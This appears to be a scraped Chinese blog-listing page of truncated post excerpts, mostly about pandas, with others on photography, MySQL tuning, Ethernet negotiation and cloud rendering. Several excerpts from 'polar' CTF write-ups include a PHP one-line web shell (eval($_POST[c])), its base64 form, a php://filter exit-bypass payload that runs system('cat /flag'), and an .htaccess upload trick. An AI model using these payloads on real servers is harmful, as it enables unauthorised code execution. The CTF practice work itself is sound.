速度pandas polars 2.0
使用pandas操作excel
参考： https://www.php.cn/faq/630018.html https://blog.csdn.net/weixin_42575020/article/details/128850513?utm_medium=distribute.pc_relevant.none-task-blo ......
pandas修改json数据结构
需求 { "sex": { "tome": "male", "jack": "female" }, "age": { "tome": 18, "jack": 20 } } 转换成 {'tome': {'sex': 'male', 'age': 18}, 'jack': {'sex': 'female ......
关于对pandas.DataFrame的二维表格数据排序后-再写入到Excel表格的方法
关于 pandas.DataFrame 可以将一个大列表-多个子列表的数据整理出来，最后通过.to_excel 写入到Excel表格，代码如下： Writer=pandas.ExcelWriter(ResultExcelFile) EC2_RI_Data=pandas.DataFrame(EC2_R ......
数据处理神器可不止 Pandas 哦，还有 Polars，全方位解析 Polars
楔子 Python 在数据处理领域有如今的地位，和 Pandas 的存在密不可分，然而除了 Pandas 之外，还有一个库也在为 Python 的数据处理添砖加瓦，它就是我们本次要介绍的 Polars。和 Pandas 相比，Polars 的速度更快，执行常见运算的速度是 Pandas 的 5 到 ......
pandas单独设一个新列，譬如从2023-11-1到2023-11-31怎么搞法？
大家好，我是皮皮。 一、前言 前几天在Python白银交流群【上海新年人】问了一个Pandas日期数据生成的问题，问题如下：大佬们，如果我想单独设一个新列，譬如从2023-11-1到2023-11-31怎么搞法？或者这个数据有11行，可不可以自行设置成2023-11-15到2023-11-26这样子 ......
云渲染速度快多少？如何使用云渲染图文步骤一览
云渲染速度到底快多少呢?如何操作云渲染呢?云渲染主要的工作任务就是负责渲染，由原本个人本地渲染的任务，交给云端中大量由电脑组成的强大算力渲染农场，也就是大家所说的：云渲染农场，目前市场上的云渲染发展非常成熟，具备完整得硬件配置，下面一起来看看云渲染平台如何使用，希望帮助大家! 一、云渲染速度快多少? ......
msyql order by 后速度慢40倍以上优化
SELECT t1.schoolname, t1.kelei, t1.zxkm, t1.xkyq, t1.zdf, t1.zdfwc, t1.yearid, t1.zgf, t1.zgfwc, t1.enrollcode, t1.majorgroup, t1.major, t2.province A ......
【2024.01.09】曝光三要素学习（感光度、快门速度、光圈）
以前总是使用auto挡，现在打算好好学习一下摄影了，记录一下 找到的比较好的教程是这个https://www.bilibili.com/video/BV1z94y1P7Rh 综合感觉下来m挡时尽量还是避免，而是在三项中确定一项参数后再修改其他参数 所以一般是使用半自动挡位 比如运动的话就要适当降低快 ......
Pandas - 按照指定顺序排序
import pandas as pd file = rf"C:\Users\root\Desktop\文档\2024\01\08\975.xlsx" data = pd.read_excel(file, converters={ '约定采购总量': int, '实际采购总量': int, '完成率 ......
read_excel_pandas.py
import pandas as pdimport matplotlib.pyplot as pltplt.rcParams['font.sans-serif']=['SimHei']plt.rcParams['axes.unicode_minus']=False df = pd.read_exce ......
Python Pandas 数据可视化
1、Pandas 的绘图功能 Pandas 内置的绘图功能进行数据可视化是一种快速且有效的方法，它主要依赖于 Matplotlib 库。Pandas 提供了多种绘图类型，适用于不同的数据分析和可视化需求。 1）折线图 使用plot()绘制拆线图，常用参数如下， 参数 描述 x 一维数组或列表，表 ......
多开软件对Windows电脑运行速度的影响
多开软件是指在Windows电脑上同时运行多个相同或不同的应用程序。尽管多开软件可以提高工作效率，但它也会对电脑的运行速度造成一定的影响。 首先，多开软件会消耗电脑的内存资源。每个软件都需要一定的内存空间来运行，当同时打开多个软件时，这些软件将竞争有限的内存资源，导致系统性能下降。如果电脑的内存不足 ......
pandas基础操作
### 为什么学习pandas- numpy已经可以帮助我们进行数据的处理了，那么学习pandas的目的是什么呢？ - numpy能够帮助我们处理的是数值型的数据，当然在数据分析中除了数值型的数据还有好多其他类型的数据（字符串，时间序列），那么pandas就可以帮我们很好的处理除了数值型的其他数据！ ......
polar 写shell
需要绕过exit，所以直接?filename=php://filter/string.strip_tags|convert.base64-decode/resource=flag.php POST data为content=?>PD9waHAgZWNobyhzeXN0ZW0oJ2NhdCAvZmxh ......
VMware中安装CNA8.2.0版本步骤
一.准备工作 安装VMware和镜像准备FusionCompute_CNA-8.2.0-X86_64.iso 二.执行步骤 点击创建新的虚拟机 典型和自定义都可（这边选择的典型） 因为FusionCompute_CNA-8.2.0-X86_64.iso底层，可以选择CentOS 磁盘大小200GB ......
Python Pandas 数据整合
1、数据合并 数据合并是指将两个数据集合并为一个数据集的过程。数据集的列名和数据类型是否一致。如果不一致，需要进行数据类型转换或重命名。数据集的索引是否一致。如果不一致，需要进行索引重置或合并。数据集的缺失值处理。可以使用均值、中位数或众数填充缺失值，也可以删除缺失值。 1）merge() 根据 ......
polar 到底给不给flag呢
需要get一个flag和post一个flag。然后看了眼函数，其中foreach加上。所以我看了wp，想起来POST是可以不用传的。因为isset那里面是&&连接。所以直接get传参一个flag。 先c=flag然后让flag=c。这样被解析之后，就是$c=$flag&$flag=$c。从而达到真正 ......
polar 上传
直接上传一个一句话木马文件：<?php eval($_POST[c]); ?> 经过上传测试发现，这题过滤掉了<?，这样正常的一句话木马就没法上传，所以对一句话木马进行base64编译PD9waHAgZXZhbCgkX1BPU1RbY10pOyA/Pg==，同时发现可以上传.htaccess文件去解 ......
pandas -- Dataframe 初步使用
Dataframe 的读取 (1) 直接声明 ## 先是一个字典的形式 data = { "keyname1": [ "elem1", "elem2" ], "keyname2": [ "elem3", "elem4" ] } df = pd.DataFrame(data, index = [ <c ......
Python Pandas 数据清洗
1、处理缺失数据 处理缺失数据是数据清洗过程的一个重要部分。缺失数据可以以多种方式出现，最常见的是作为 NaN（Not a Number）。处理缺失数据涉及使用 isna() 或 isnull() 检测缺失值，fillna() 填充缺失值，dropna() 删除包含缺失值的行或列，以及 inte ......
内存速度的一个简单验证
内存速度的一个简单验证 背景 最近关注的公众号都在讨论PG数据库的在较大的shared_pool时 truncate 和 drop table的速度有了很大的衰退. 看了很多文章, 基本上都是说需要进行内存对象的遍历导致的. 最开始的理解. 内存是很快的, 几乎不用考虑太多时间. 能够加载进内存, ......
基于模糊控制器的直流电机速度控制
基于模糊控制器的直流电机速度控制 文件列表 基于模糊控制器的直流电机速度控制/DC motor control/control.fis , 911基于模糊控制器的直流电机速度控制/DC motor control/DC_Motor_Fuzzy.mdl , 42140基于模糊控制器的直流电机速度控制/ ......
Python Pandas NumPy NaN和Inf简介及常用操作
NumPy（Numerical Python）是一个用于科学计算的库，它提供了对多维数组（例如矩阵）和一系列数学函数的支持。NumPy 中包含了处理 NaN（Not-a-Number）和 Inf（Infinity）等特殊值的功能。本文主要介绍一下Python Pandas NumPy 中 NaN ......
Python Pandas 数据选择与过滤
Python的Pandas库是一个强大的数据处理和分析工具，其中数据选择与过滤是其核心功能之一。这些功能使用户能够高效地访问、修改、筛选出数据集中的特定部分。数据选择与过滤功能提供了数据操作的强大灵活性，使得数据分析工作流程变得更加高效和精确。本文主要介绍Python Pandas 数据选择与过 ......
以太网速度协商
以太网自协商通过发送FLP（快速连接脉冲）包实现，FLP 中包含有时钟/数字序列，将这些数据从中提取出来就可以得到对端设备支持的工作模式，以及一些用于协商握手机制的其他信息。如果是100M模式设备不支持自协商也会在链路上一直发送4B/5B编码的Idle符号。 如果发送NLP（普通连接脉冲）则被视为1 ......
智能分析网关V4算法配置步骤2.0——睡岗检测
AI智能分析网关V4是TSINGSEE青犀视频旗下的一款高效分析网关，可分别作为上级或下级平台进行级联，还可实现人体行为检测、车辆事件检测、环境卫生检测与消防事件检测等等，广泛应用在工地、工厂、园区、楼宇、校园、仓储等场景中。将智能分析网关V4结合我们的视频融合平台EasyCVR一起使用，可以实现多 ......
Python Pandas 基本概念
1、DataFrame 和 Series 的基本概念 DataFrame 和 Series 是Pandas中两种最基本的数据结构，它们为数据分析和处理提供了强大的功能。 Series 是一种一维数组结构，类似于 Python 中的列表或者 NumPy 的数组。每个 Series 对象都有一个索引 ......
pandas day01
一、什么是数据分析： 数据分析是指对数据进行收集、处理、转换和挖掘，以发现数据中的规律、趋势和关联性，为决策提供支持和指导的过程。数据分析涵盖了数据预处理、数据建模、数据可视化、数据挖掘等多个方面的技术和方法。 二、pandas的初步使用： 2.1 安装模块 # 安装第三方库 pip install ......
python3之pandas库
pandas中有两类非常重要的数据结构，即序列Series和数据框DataFrame。 Series类似于numpy中的一维数组；DataFrame类似于numpy中的二维数组。 DataFrame创建 # 通过二维数组创建数据框 df1 = pd.DataFrame(np.arange(12).r ......
关于pandas.to_datetime对不同时间格式使用时发生报错的情况
在看菜鸟的pandas对格式错误清洗时，发现菜鸟提供的代码在我现在的版本跑不通。 把报错在网上找了半天都是把报错errors参数给修改的。 最后重看了下报错信息，发现把format改成mixed，告诉pandas数据格式混合就可以（汗），应该是python3版本太新的问题 报错代码： import ......